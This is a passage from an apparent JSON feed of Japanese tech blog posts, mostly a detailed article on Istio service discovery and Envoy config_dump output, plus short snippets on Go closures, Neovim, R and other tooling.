Medium05. おわりにサービスメッシュの登場とIstioのサイドカーインジェクションの仕組みをもりもり布教しました。Istioへの愛が溢れてしまいました。今回登場したMutatingAdmissionWebhookプラグインに関して、私の関わっているプロダクトではIstio以外 (例:CertManager、Prometheus、AWSのaws-eks-vpc-cniアドオンなど) でも使用しています✌️そのため、MutatingAdmissionWebhookプラグインをどのように使っているのかを一度知れば、知識の汎用性が高いと考えています。サイドカーインジェクションはIstioでも基本的な機能であり、もし未体験の方がいらっしゃれば、お手元でサイドカーコンテナが追加されることを確認していただくとよいかもしれません\uD83D\uDC4D記事関連のおすすめ書籍Istio in Action (English Edition)作者:Posta, Christian E.,Maloku, RinorManningAmazonIstio: Up and Running: Using a Service Mesh to Connect, Secure, Control, and Observe作者:Calcote, Lee,Butcher, ZackO\'ReillyAmazon","isoDate":"2023-01-14T13:38:15.000Z","dateMiliSeconds":1673703495000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"xmllint で HTML 内の任意の値を取り出す","link":"https://blog.1q77.com/2023/01/xmllint-html-xpath/","contentSnippet":"サクッと shell script で HTML の中の何かを取り出したい時があります。 そんな時に使えるのが xmllint. しっかりやるなら python の Beautiful Soup を使ったりしますが、本当に簡単なことを簡","isoDate":"2023-01-12T14:40:51.000Z","dateMiliSeconds":1673534451000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"chezmoiを使って管理しているdotfileのファイルタイプをNeovimにうまく認識させる","link":"https://blog.atusy.net/2023/01/11/neovim-filetype-matching-with-chezmoi/","contentSnippet":"Neovimはファイルの名前や内容を元に、ファイルタイプを決定する機能を持っています。たとえば、拡張子が.shだったらシェルスクリプトだと判断できます。","isoDate":"2023-01-11T00:00:00.000Z","dateMiliSeconds":1673395200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"tidymodelsでOne-hot Encodingする","link":"https://blog.atusy.net/2023/01/06/tidymodels-one-hot-encoding/","contentSnippet":"きぬいとさんがtidyverseでOne-hot Encodingしているのを見ましたが、餅は餅屋でtidymodelsもいいよねという話。RでOne-hot Encodingをする with tidyverse","isoDate":"2023-01-06T00:00:00.000Z","dateMiliSeconds":1672963200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ぼちぼちブログでもはじめます","link":"https://moz-security.hatenablog.com/entry/2023/01/04/111143","contentSnippet":"もう新年始まって気づいたら4日目ですが、明けましておめでとうございます。アウトプットの場として2023年になり、気持ちを新たにして、なにか新しいことを始めようと思ったときに、前々からいつかやろうと思っていたブログを書くことに決めました。(いつかやろうを今やることは大事だと思う。)ここらへんで、一応、自己紹介しておきたいと思います。私は、現在、大学で情報理工学を学んでいて、ネットワークやセキュリティに興味を持っています。今までやってきたこととしては、B2のときに基本情報技術者試験、B3のときに応用情報技術者試験に合格し、他には、セキュリティ・ミニキャンプ オンライン・東京 に参加したり、Hack The Boxを少しずつやってきました。(秋学期になってからHTBはほとんど触れていないが…)他にも、いろんな勉強会にも参加してきました。今はオンラインで気軽に参加できるので。ブログを書こうかなと考えた理由は大きく3つありまして。1つ目は、セキュリティ・ミニキャンプのグループ活動でLT大会をしたときに、やっぱりアウトプットの場というのがあることで、より知識の定着につながることが実感できたからです。大学生になってからは、インプットがメインになっていてアウトプットの場がなかなかないため、どうアウトプットするのかというのは考える必要がありました。Twitterでもアウトプットはできるし、実際にそれを使っていましたが、文字数に制限があるため、正しく文章を書くには向いていません。(気楽にツイートできることがTwitterの良さではあるのですが。)2つ目は、自分の言語化能力の向上のためです。自分の頭には考えがあるのに、それをうまく伝えられなかったり、わかりにくい説明になっていたりしていたため、どうすればわかりやすく説明できるのかというのは前からの悩みでした。そこでいろいろ考えたときに自分の頭にあることを言語化するというのは、結構慣れの要素が大きいと思うため、経験を積むことが大事だという結論にいたり、それならば、早く始めた方がいいというのが、ブログを書くきっかけにもなっています。3つ目は、エンジニアになるなら、自分の技術力(今までどんなことをやってきたのか、私はどんなことができるのか)を証明するためにも技術ブログは書いておくといいということを聞くことが多いからです。今は、いきなり技術ブログを書くのは敷居が高いため、気楽に書けるこのHatena Blogでしか記事を書いていませんが、今年中には、QitaやZennの方に、技術系の記事を投稿していきたいと思っています。ブログを書く前に、Hatena Blogを使うかも結構迷っていて、自分で個人ブログサイトを作ろうかとも思ったのですが、そこに時間をかける前にさっさとブログを書き始めようということで、こちらを選択しました。そのため、今年中には、個人のブログサイトを作ってそちらに移行したいと思っています。(願望)このHatena Blogでは、月に1回は投稿していく予定です。内容としては、その月にやってきたこととか新たな発見があったこと、自分の書きたいことを勝手に発信していく感じで。ここであらかじめ宣言しておくことで、自分を追い込んでいくスタイル。(笑)技術的な話は、QiitaやZennの方に書くかもしれませんが、もしかしたら、こっちで書くかもしれません。全然考えていないため、そこら辺はこれから考えていきたいと思います。とりあえず、人生初めてのブログは、こんな感じで終わりたいと思います。近々、新年の抱負として、今年やりたいことを書きたいと思っています。","isoDate":"2023-01-04T02:11:43.000Z","dateMiliSeconds":1672798303000,"authorName":"Kobayashi Shun","authorId":"moz-sec"},{"title":"Lima の vmType VZ と virtiofs を試す","link":"https://blog.1q77.com/2022/12/lima-vz/","contentSnippet":"Lima が version 0.14.0 で QEMU だけではなく macOS の Virtualization.Framework に対応していました。 vmtype という設定項目が増えています。 この新しい Framework では Host のディレクトリをマウントするのに virtiofs が使え","isoDate":"2022-12-29T15:49:47.000Z","dateMiliSeconds":1672328987000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"クロージャーのメモリ割り当てについて(Go言語)","link":"https://kechigon.hatenablog.com/entry/2022/12/29/203946","contentSnippet":"A Tour of GoでGo言語に入門していて、クロージャーのメモリ割り当てについて疑問に思ったので調べた。クロージャーとはA Tour of Go での説明をまとめると、本体の外部から変数を参照する関数値関数は、参照した変数にアクセスして割り当てることができるという特徴がある。サンプルコードpackage mainimport \\"fmt\\"func adder() func() int { sum := 0 return func() int { sum++ return sum }}func main() { f := adder() for i := 0; i < 10; i++ { fmt.Println(f()) }}出力12345678910adder 関数はクロージャーを返し、各クロージャーは、sum 変数にバインドされている。疑問点サンプルコードではクロージャーが、adder関数で定義されたsum変数を参照、割り当てしてる。しかし、関数呼び出しといえばスタックフレームを用いるイメージしかない私にとっては、sum変数の参照がどこに残っているのか疑問。おそらくヒープ領域に割り当てられてる?GitHub issue でのやり取り調べたところ、同じ疑問に答えているissueを見つけた。質問者は、同じような処理をクロージャーを使用する場合と使用しない場合で試している。そして、クロージャーを使用した場合だとヒープ領域への割り当てが行われると言っている。実際のコードpackage mainimport ( \\"fmt\\" \\"sync\\" \\"testing\\")type Object struct {}var p sync.Pool = sync.Pool{ New: func() interface{} { return &Object{} },}type Func struct { ctx interface{}}func (this *Func) Run() { p.Put(this.ctx) }func RunWithFunc() Func { ctx := p.Get() return Func{ctx: ctx}}func RunWithClosure() func() { ctx := p.Get() return func() { p.Put(ctx) }}func Test1() { cleanup := RunWithFunc() cleanup.Run()}func Test2() { cleanup := RunWithClosure() cleanup()}func main() { f1 := testing.AllocsPerRun(1000, Test1) f2 := testing.AllocsPerRun(1000, Test2) // 0 fmt.Println(f1) // 1 fmt.Println(f2)}コードの詳しい内容は、クロージャーを使わないRunWithFuncと使用するRunWithClosureを実行する。どちらも大雑把に言うと、空の構造体をsync.Poolから取り出したり戻したりする。クロージャーを使うとヒープ領域への割り当てが行われることをtesting.AllocsPerRunが示す。といった感じ。回答者は以下のように言っている。問題は、RunWithClosure がクロージャーを返す必要があることです。関数が実行される前にスタック フレームがなくなるため、スタックに割り当てることができません。 可能な場合は、スタックにクロージャーを割り当てます。スタック上にクロージャ(これらの2つのフィールドの匿名構造体)を割り当て、呼び出された関数にそれらへのポインタを渡すことができますし、実際に行っています。ここでの問題は、その構造体がRunWithClosureの内部で割り当てられ、RunWithClosureのフレームは、cleanupを呼び出すまでになくなってしまうことです。そのため、RunWithClosureのフレームでクロージャを割り当てることはできません。それは、ヒープ上に割り当てられなければなりません。もし、RunWithClosureをその呼び出し元にインライン化すれば、そのスタック・フレームが十分に長く生きるので、呼び出し元でクロージャを割り当てることができるようになります。クロージャーが実行される前に、参照先をもつスタックフレームがなくなってしまう場合、それをヒープ領域に割り当てるらしい。またそれを避けたい場合は、関数になっている部分をインライン化するといいらしい。まとめGo言語に入門していて、クロージャーが参照している変数がどこに残っているか疑問に思ったが、GitHub issueのやり取りから、予想した通り、ヒープ領域への割り当てが行われていることがわかった。","isoDate":"2022-12-29T11:39:46.000Z","dateMiliSeconds":1672313986000,"authorName":"Kurita Keigo","authorId":"kurita"},{"title":"rbspy で ruby の stacktrace を flamegraph にする","link":"https://blog.1q77.com/2022/12/rbspy/","contentSnippet":"中身をよく知らない Rails アプリでどこが遅いのかな?と思って rbspy (github) を試してみたのでメモ。 とりあえず使って flamegraph を書き出してみたんだけどそもそも flamegraph がどうい","isoDate":"2022-12-28T11:26:10.000Z","dateMiliSeconds":1672226770000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Professional Cloud Security Engineer の振り返り","link":"https://qiita.com/dirtymosschan/items/2c66eec7919220a4ec06","contentSnippet":"はじめに2022/12/28 に Google Cloud Certification の1つである、Professional Cloud Security Engineer に合格したので、そち…","isoDate":"2022-12-28T08:57:17.000Z","dateMiliSeconds":1672217837000,"authorName":"Yu Kaneko","authorId":"mos914"},{"title":"rticlesパッケージで作成する文書の参考文献の位置を変える","link":"https://blog.atusy.net/2022/12/28/rticles-reference-location/","contentSnippet":"R Markdownの参考文献は通常では文書末尾に挿入されます。しかし、多くの場合は挿入場所を、以下の呪文を唱えた場所に変更できます。::: {#refs}:::これは、R Markdownの拡張元となっているMarkdown方言(Pandoc’s Markdown)の機能です。","isoDate":"2022-12-28T00:00:00.000Z","dateMiliSeconds":1672185600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"go.mod の更新","link":"https://blog.1q77.com/2022/12/updage-go-mod/","contentSnippet":"たまに使い捨ての code を書いて放置する程度だと毎回ググってしまうのでメモ。 go.mod の更新は go get や go mod tidy で行うことができる。 go の version を更新 go.mod 内の go の version は次","isoDate":"2022-12-27T03:52:31.000Z","dateMiliSeconds":1672113151000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"rstudioapi::registerChunkCallbackが面白い","link":"https://blog.atusy.net/2022/12/26/rstudioapi-registerchunkcallback/","contentSnippet":"rstudioapiパッケージにはRStudioを操作する様々な関数があります。registerChunkCallbackという関数が面白かったのでちょっと実験しました。","isoDate":"2022-12-26T00:00:00.000Z","dateMiliSeconds":1672012800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"【Istio⛵️】Istioのサービス間通信を実現するサービスディスカバリーの仕組み","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2022/12/25/060000","contentSnippet":"この記事から得られる知識この記事を読むと、以下を \\"完全に理解\\" できます✌️サービスディスカバリーの種類についてIstioのサービス間通信を実現するサービスディスカバリーの仕組みについて記事のざっくりした内容は、以下のスライドからキャッチアップできちゃいます! この記事から得られる知識01. はじめに02. サービスディスカバリーについてマイクロサービスアーキテクチャにおけるサービスディスカバリーサービスディスカバリーとはなぜサービスディスカバリーが必要なのかサービスディスカバリーの要素サービスディスカバリーのパターンサービスディスカバリーのパターンとはサーバーサイドパターンクライアントサイドパターン03. Istioのサービスディスカバリーの仕組み全体像(1) kube-apiserverによる宛先情報保管(2) discoveryコンテナによる宛先情報保管(3) istio-proxyコンテナによる宛先情報取得(4) istio-proxyコンテナによるリクエスト受信(5) istio-proxyコンテナによるロードバランシングdiscoveryコンテナの仕組み(1) kube-apiserverによる宛先情報保管(2) discoveryコンテナによる宛先情報保管(3) istio-proxyコンテナによる宛先情報取得istio-proxyコンテナの仕組み(1) kube-apiserverによる宛先情報保管(2) discoveryコンテナによる宛先情報保管(3) istio-proxyコンテナによる宛先情報取得(4) istio-proxyコンテナによるリクエスト受信(5) istio-proxyコンテナによるリクエスト受信04. istio-proxyコンテナ内のEnvoyの仕組み全体像(1) 送信元マイクロサービスからリクエスト受信(2) Envoyによるリスナー選択(3) Envoyによるルート選択(4) Envoyによるクラスター選択(5) Envoyによるエンドポイント選択(6) 宛先マイクロサービスへのリクエスト送信EnvoyがADS-APIから取得した宛先情報を見てみようconfig_dumpエンドポイントリスナー▼ 確認方法▼ 結果ルート▼ 確認方法▼ 結果クラスター▼ 確認方法▼ 結果エンドポイント▼ 確認方法▼ 結果Envoyの処理の流れのまとめ(1) 送信元マイクロサービスからリクエスト受信(2) Envoyによるリスナー選択(3) Envoyによるルート選択(4) Envoyによるクラスター選択(5) Envoyによるクラスター選択(6) 宛先マイクロサービスへのリクエスト送信05. おわりに謝辞記事関連のおすすめ書籍01. はじめに推し (Istio) が尊い\uD83D\uDE4F\uD83D\uDE4F\uD83D\uDE4F3-shake Advent Calender 2022 最終日の記事です\uD83C\uDF85普段、私は 俺の技術ノート に知見を記録しており、はてなブログはデビュー戦となります。最近の業務で、オンプレとAWS上のIstio⛵️をひたすら子守りしています。今回は、子守りの前提知識の復習もかねて、Istioのサービス間通信を実現するサービスディスカバリーの仕組みを記事で解説しました。Istioの機能の1つであるサービスディスカバリーは、その仕組みの多くをEnvoyに頼っているため、合わせてEnvoyの仕組みも説明します。それでは、もりもり布教していきます\uD83D\uDE1702. サービスディスカバリーについてマイクロサービスアーキテクチャにおけるサービスディスカバリーサービスディスカバリーとは平易な言葉で言い換えると サービス間通信 です。マイクロサービスアーキテクチャでは、マイクロサービスからマイクロサービスにリクエストを送信する場面があります。サービスディスカバリーとは、宛先マイクロサービスの宛先情報 (例:IPアドレス、完全修飾ドメイン名など) を検出し、送信元マイクロサービスが宛先マイクロサービスにリクエストを継続的に送信可能にする仕組みのことです。なぜサービスディスカバリーが必要なのかそもそも、なぜサービスディスカバリーが必要なのでしょうか。マイクロサービスアーキテクチャでは、システムの信頼性 (定められた条件下で定められた期間にわたり、障害を発生させることなく実行する程度) を担保するために、マイクロサービスのインスタンスの自動スケーリングを採用します。この時、自動スケーリングのスケールアウトでマイクロサービスが増加するたびに、各インスタンスには新しい宛先情報が割り当てられてしまいます。また、マイクロサービスが作り直された場合にも、宛先情報は更新されてしまいます。このように、たとえインスタンスの宛先情報が更新されたとしても、インスタンスへのリクエストに失敗しない仕組みが必要です。サービスディスカバリーの要素サービスディスカバリーの仕組みは、次の要素からなります。名前解決は、DNSベースのサービスディスカバリー (例:CoreDNS + Service + kube-proxyによるサービスディスカバリー) で必要となり、Istioでは使いません。そのため、本記事では言及しないこととします\uD83D\uDE47\uD83C\uDFFB‍ 要素 責務 送信元マイクロサービス リクエストを送信する。 宛先マイクロサービス リクエストを受信する。 サービスレジストリ 宛先マイクロサービスの宛先情報を保管する。 ロードバランサー 宛先マイクロサービスのインスタンスにロードバランシングする。 名前解決 宛先マイクロサービスへのリクエスト送信時に、名前解決可能にする。 サービスディスカバリーのパターンサービスディスカバリーのパターンとはサービスディスカバリーの実装方法にはいくつか種類があります。Istioのサービスディスカバリーは、このうちのサーバーサイドパターンを実装したものになります。サーバーサイドパターン送信元マイクロサービスから、問い合わせとロードバランシングの責務が切り離されています。送信元マイクロサービスは、ロードバランサーにリクエストを送信します。ロードバランサーは、宛先マイクロサービスの場所をサービスレジストリに問い合わせ、またリクエストをロードバランシングする責務を担っています\uD83D\uDCAA\uD83C\uDFFB(例) Istio、Linkerd、CoreDNS、AWS ALBなどCloud Native Patterns: Designing change-tolerant software (English Edition)Pattern: Server-side service discoveryクライアントサイドパターン通信の送信元マイクロサービスは、宛先マイクロサービスの場所をサービスレジストリに問い合わせ、さらにロードバランシングする責務を担います。(例) NetflixのEureka、kube-proxyなどCloud Native Patterns: Designing change-tolerant software (English Edition)Pattern: Client-side service discoveryService Discovery in Kubernetes: Combining the Best of Two Worlds03. Istioのサービスディスカバリーの仕組みIstioが実装するサービスメッシュには、サイドカープロキシメッシュとアンビエントメッシュがあり、今回はサイドカープロキシメッシュのサービスディスカバリーを取り上げます。Istioのサービスディスカバリーは、discoveryコンテナとistio-proxyコンテナが軸となり、サーバーサイドパターンのサービスディスカバリーを実装します。全体像(1) 〜 (6) の全体像は、以下の通りです\uD83D\uDC47istio-proxyコンテナは、サービスレジストリへの問い合わせと、ロードバランシングする責務を担っていることに注目してください。(1) kube-apiserverによる宛先情報保管kube-apiserverは、Pod等の宛先情報をetcd等に保管します。これは、Kubernetesの通常の仕組みです。(2) discoveryコンテナによる宛先情報保管discoveryコンテナは、kube-apiserverからPod等の宛先情報を取得し、自身に保管します。(3) istio-proxyコンテナによる宛先情報取得istio-proxyコンテナは、discoveryコンテナからPod等の宛先情報を双方向ストリーミングRPCで取得します。(4) istio-proxyコンテナによるリクエスト受信送信元マイクロサービスがリクエストを送信します。サーバーサイドパターンでの責務通り、送信元マイクロサービスはロードバランサー (ここではistio-proxyコンテナ) にリクエストを送信します。この時、送信元マイクロサービスがistio-proxyコンテナに直接的にリクエストを送信しているというよりは、iptablesがistio-proxyコンテナにリクエストをリダイレクトします。istio-proxyコンテナこれを受信します。(5) istio-proxyコンテナによるロードバランシングistio-proxyコンテナは、リクエストをロードバランシングし、また宛先Podに送信します。Istio in ActionJimmy SongTech-赵化冰的博客 | Zhaohuabing Blogdiscoveryコンテナの仕組み全体像の中から、discoveryコンテナを詳しく見てみましょう。discoveryコンテナは、別名Istiodと呼ばれています。XDS-APIというエンドポイントを公開しており、XDS-APIのうち、サービスディスカバリーに関係するAPIは以下の通りです。今回は詳しく言及しませんが、istio-proxyコンテナがHTTPSリクエストを処理するために、証明書を配布するためのSDS-APIもあります。 APIの種類 説明 LDS-API Envoyのリスナーを取得できる。 RDS-API Envoyのルートを取得できる。 CDS-API Envoyのクラスターを取得できる。 EDS-API Envoyのエンドポイントできる。 ADS-API 各XDS-APIから取得できる宛先情報を整理して取得できる。 Istio in Action(1) kube-apiserverによる宛先情報保管kube-apiserverによる宛先情報保管 と同じです。(2) discoveryコンテナによる宛先情報保管discoveryコンテナによる宛先情報保管 と同じです。(3) istio-proxyコンテナによる宛先情報取得XDS-APIとistio-proxyコンテナの間では、gRPCの双方向ストリーミングRPCの接続が確立されています。そのため、istio-proxyコンテナからのリクエストに応じて宛先情報を返却するだけでなく、リクエストがなくとも、XDS-APIからもistio-proxyコンテナに対して宛先情報を送信します。XDS-APIのエンドポイントがいくつかあり、各エンドポイントから宛先情報を取得できます。一方で、各エンドポイントからバラバラに宛先情報を取得すると、Envoy上でこれを整理する時に、宛先情報のバージョンの不整合が起こる可能性があります。そのため、Istioは実際にはADS-APIを使用して宛先情報を取得します。istio-proxyコンテナの仕組み全体像の中から、istio-proxyコンテナを詳しく見てみましょう。Istio in ActionJimmy SongTech-赵化冰的博客 | Zhaohuabing Blog(1) kube-apiserverによる宛先情報保管kube-apiserverによる宛先情報保管 と同じです。(2) discoveryコンテナによる宛先情報保管discoveryコンテナによる宛先情報保管 と同じです。(3) istio-proxyコンテナによる宛先情報取得istio-proxyコンテナでは、pilot-agentとEnvoyが稼働しています。先ほどistio-proxyコンテナは、双方向ストリーミングRPCでADS-APIから宛先情報を取得すると説明しました。厳密にはEnvoyが、pilot-agentを介して、ADS-APIから双方向ストリーミングRPCで宛先情報を取得します。(4) istio-proxyコンテナによるリクエスト受信istio-proxyコンテナによるリクエスト受信 と同じです。(5) istio-proxyコンテナによるリクエスト受信EnvoyはADS-APIから取得した宛先情報に基づいて、宛先マイクロサービスのインスタンスにロードバランシングします。04. istio-proxyコンテナ内のEnvoyの仕組み全体像EnvoyがADS-APIから取得した宛先情報を見ていく前に、Envoyの処理の流れを解説します。istio-proxyコンテナ内のEnvoyでは、以下の仕組みでHTTPリクエストを処理します。(1) 〜 (6) の全体像は、以下の通りです\uD83D\uDC47Istio in Action (English Edition)Istio: Up and Running: Using a Service Mesh to Connect, Secure, Control, and ObserveArchitecture Analysis of Istio: The Most Popular Service Mesh Project - Alibaba Cloud Community(1) 送信元マイクロサービスからリクエスト受信istio-proxyコンテナは、送信元マイクロサービスからリクエストを受信します。(2) Envoyによるリスナー選択Envoyは、リクエストの宛先情報 (例:宛先IPアドレス、ポート番号、パス、ホストなど) に応じてリスナーを選びます。(3) Envoyによるルート選択Envoyは、リスナーに紐づくルートを選びます。▶ TCPリクエストを処理する場合についてDebugging Your Debugging Tools: What to do When Your Service Mesh Goes Down | PPT(4) Envoyによるクラスター選択Envoyは、クラスターに紐づくクラスターを選びます。(5) Envoyによるエンドポイント選択Envoyは、クラスターに紐づくエンドポイントを選びます。(6) 宛先マイクロサービスへのリクエスト送信Envoyは、エンドポイントに対応するインスタンスにリクエストを送信します。Envoyで確認した宛先情報を\uD83D\uDC46に当てはめて見ていくことにしましょう。EnvoyがADS-APIから取得した宛先情報を見てみようconfig_dumpエンドポイント実際にEnvoyに登録されている宛先情報は、istio-proxyコンテナ自体のlocalhost:15000/config_dumpからJSON形式で取得できます。もしお手元にIstioがある場合は、Envoyにどんな宛先情報が登録されているか、Envoyを冒険してみてください。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump\\" | yq -P▶ 宛先情報を見やすくするyqコマンドについてyqコマンドでYAMLに変換すると見やすくなります\uD83D\uDC4Dリスナー▼ 確認方法istio-proxyコンテナがADS-APIから取得したリスナーは、/config_dump?resource={dynamic_listeners}から確認できます。ここでは、foo-pod内でbar-podのリスナーを確認したと仮定します。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?resource={dynamic_listeners}\\" | yq -P▼ 結果以下を確認できました。宛先IPアドレスや宛先ポート番号に応じてリスナーを選べるようになっており、ここでは<任意のIPアドレス>:50002。リスナーに紐づくルートの名前configs: - \\"@type\\": type.googleapis.com/envoy.admin.v3.ListenersConfigDump.DynamicListener # リスナー名 name: 0.0.0.0_50002 active_state: version_info: 2022-11-24T12:13:05Z/468 listener: \\"@type\\": type.googleapis.com/envoy.config.listener.v3.Listener name: 0.0.0.0_50002 address: socket_address: # 受信したパケットのうちで、宛先IPアドレスでフィルタリング address: 0.0.0.0 # 受信したパケットのうちで、宛先ポート番号でフィルタリング port_value: 50002 filter_chains: - filter_chain_match: transport_protocol: raw_buffer application_protocols: - http/1.1 - h2c filters: - name: envoy.filters.network.http_connection_manager typed_config: \\"@type\\": type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnectionManager stat_prefix: outbound_0.0.0.0_50001 rds: config_source: ads: {} initial_fetch_timeout: 0s resource_api_version: V3 # 本リスナーに紐づくルートの名前 route_config_name: 50002 ... - \\"@type\\": type.googleapis.com/envoy.admin.v3.ListenersConfigDump.DynamicListener ...Administration interface — envoy 1.32.0-dev-bfa0e0 documentationConfigDump (proto) — envoy 1.32.0-dev-bfa0e0 documentationルート▼ 確認方法istio-proxyコンテナがADS-APIから取得したリスナーは、/config_dump?resource={dynamic_route_configs}から確認できます。ここでは、foo-pod内でbar-podのルートを確認したと仮定します。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?resource={dynamic_route_configs}\\" | yq -P▼ 結果コマンドを実行するとYAMLを取得でき、以下を確認できました。リスナーを取得した時に確認できたルートの名前リクエストのパスやHostヘッダーに応じてルートを選べるようになっているルートに紐づくクラスターの名前configs: - \\"@type\\": type.googleapis.com/envoy.admin.v3.RoutesConfigDump.DynamicRouteConfig version_info: 2022-11-24T12:13:05Z/468 route_config: \\"@type\\": type.googleapis.com/envoy.config.route.v3.RouteConfiguration # ルートの名前 name: 50002 virtual_hosts: - name: bar-service.bar-namespace.svc.cluster.local:50002 # ホストベースルーティング domains: - bar-service.bar-namespace.svc.cluster.local - bar-service.bar-namespace.svc.cluster.local:50002 - bar-service - bar-service:50002 - bar-service.bar-namespace.svc - bar-service.bar-namespace.svc:50002 - bar-service.bar-namespace - bar-service.bar-namespace:50002 - 172.16.0.2 - 172.16.0.2:50002 routes: - match: # パスベースルーティング prefix: / route: # 本ルートに紐づくクラスターの名前 cluster: outbound|50002|v1|bar-service.bar-namespace.svc.cluster.local timeout: 0s retry_policy: retry_on: connect-failure,refused-stream,unavailable,cancelled,retriable-status-codes num_retries: 2 retry_host_predicate: - name: envoy.retry_host_predicates.previous_hosts host_selection_retry_max_attempts: \\"5\\" retriable_status_codes: - 503 max_stream_duration: max_stream_duration: 0s grpc_timeout_header_max: 0s decorator: operation: bar-service.bar-namespace.svc.cluster.local:50002/* ... - \'@type\': type.googleapis.com/envoy.admin.v3.RoutesConfigDump.DynamicRouteConfig ...Administration interface — envoy 1.32.0-dev-bfa0e0 documentationConfigDump (proto) — envoy 1.32.0-dev-bfa0e0 documentationクラスター▼ 確認方法istio-proxyコンテナがADS-APIから取得したクラスターは、/config_dump?resource={dynamic_active_clusters}から確認できます。ここでは、foo-pod内でbar-podのクラスターを確認したと仮定します。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?resource={dynamic_active_clusters}\\" | yq -P▼ 結果コマンドを実行するとYAMLを取得でき、以下を確認できました。ルートを取得した時に確認できたクラスターの名前クラスターに紐づくエンドポイントの親名configs: - \\"@type\\": type.googleapis.com/envoy.admin.v3.ClustersConfigDump.DynamicCluster version_info: 2022-11-24T12:13:05Z/468 cluster: \\"@type\\": type.googleapis.com/envoy.config.cluster.v3.Cluster # クラスターの名前 name: outbound|50002|v1|bar-service.bar-namespace.svc.cluster.local type: EDS eds_cluster_config: eds_config: ads: {} initial_fetch_timeout: 0s resource_api_version: V3 # 本クラスターに紐づくエンドポイントの親名 service_name: outbound|50002|v1|bar-service.bar-namespace.svc.cluster.local ... - \\"@type\\": type.googleapis.com/envoy.admin.v3.ClustersConfigDump.DynamicCluster ...Administration interface — envoy 1.32.0-dev-bfa0e0 documentationConfigDump (proto) — envoy 1.32.0-dev-bfa0e0 documentationエンドポイント▼ 確認方法istio-proxyコンテナがADS-APIから取得したクラスターは、/config_dump?include_edsから確認できます。ここでは、foo-pod内でbar-podのクラスターを確認したと仮定します。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?include_eds\\" | yq -P▼ 結果コマンドを実行するとYAMLを取得でき、以下を確認できました。クラスターを取得した時に確認できたエンドポイントの親名bar-podのインスタンスが3個あるため、3個のエンドポイントがありますconfigs: dynamic_endpoint_configs: - endpoint_config: \\"@type\\": type.googleapis.com/envoy.config.endpoint.v3.ClusterLoadAssignment # エンドポイントの親名 cluster_name: outbound|50002|v1|bar-service.bar-namespace.svc.cluster.local endpoints: - locality: region: ap-northeast-1 zone: ap-northeast-1a lb_endpoints: - endpoint: address: socket_address: # 冗長化されたbar-podのIPアドレス address: 11.0.0.1 # bar-pod内のコンテナが待ち受けているポート番号 port_value: 50002 health_check_config: {} health_status: HEALTHY metadata: filter_metadata: istio: workload: bar envoy.transport_socket_match: tlsMode: istio # ロードバランシングアルゴリズムを決める数値 load_balancing_weight: 1 - locality: region: ap-northeast-1 zone: ap-northeast-1d lb_endpoints: - endpoint: address: socket_address: # 冗長化されたbar-podのIPアドレス address: 11.0.0.2 # bar-pod内のコンテナが待ち受けているポート番号 port_value: 50002 health_check_config: {} health_status: HEALTHY metadata: filter_metadata: istio: workload: bar envoy.transport_socket_match: tlsMode: istio # ロードバランシングアルゴリズムを決める数値 load_balancing_weight: 1 - locality: region: ap-northeast-1 zone: ap-northeast-1d lb_endpoints: - endpoint: address: socket_address: # 冗長化されたbar-podのIPアドレス address: 11.0.0.3 # bar-pod内のコンテナが待ち受けているポート番号 port_value: 50002 health_check_config: {} health_status: HEALTHY metadata: filter_metadata: istio: workload: bar envoy.transport_socket_match: tlsMode: istio # ロードバランシングアルゴリズムを決める数値 load_balancing_weight: 1 policy: overprovisioning_factor: 140 ... - endpoint_config: ...Administration interface — envoy 1.32.0-dev-bfa0e0 documentationConfigDump (proto) — envoy 1.32.0-dev-bfa0e0 documentation▶ Envoyの負荷分散方式についてload_balancing_weightキー値が等しい場合、EnvoyはP2Cアルゴリズムに基づいてロードバランシングします\uD83D\uDC4DEnvoyの処理の流れのまとめ確認できた宛先情報を、Envoyの処理の流れに当てはめてみました。(1) 送信元マイクロサービスからリクエスト受信送信元マイクロサービスは、宛先マイクロサービス (<任意のIP>/:50002) にリクエストを送信します。サイドカーコンテナのistio-proxyコンテナはこれを受信します。(2) Envoyによるリスナー選択Envoyは、リクエストの宛先 (IPアドレス、ポート番号、パス) からPodのリスナー (0.0.0.0_50002) を選びます。(3) Envoyによるルート選択Envoyは、リスナーに紐づくPodのルート (50002) を選びます。(4) Envoyによるクラスター選択Envoyは、クラスターに紐づくPodのクラスター (outbound|50002|v1|bar-service.bar-namespace.svc.cluster.local) を選びます。(5) Envoyによるクラスター選択Envoyは、クラスターに紐づくPodのインスタンスのエンドポイント (11.0.0.X/:50002) を選びます。(6) 宛先マイクロサービスへのリクエスト送信Envoyは、エンドポイントの宛先にPodのリクエストを送信します。サービスディスカバリーの冒険は以上です⛵05. おわりにIstioの機能の1つである『サービスディスカバリー』の仕組みを、Envoyを交えながらもりもり布教しました。愛が溢れてしまいました。Istioの機能を1つとっても、複雑な仕組みで実現していることがお分かりいただけたかと思います。Istioありがとう\uD83D\uDE4F\uD83D\uDE4F\uD83D\uDE4F謝辞3-shake SRE Tech Talk での発表前後に、以下の方々に発表内容について助言をいただきました。@ido_kara_deru さん@yosshi_ さん@yteraoka さん(アルファベット順)また、今回の 3-shake Advent Calender 2022 は、以下の方々に企画いただきました。@jigyakkuma_ 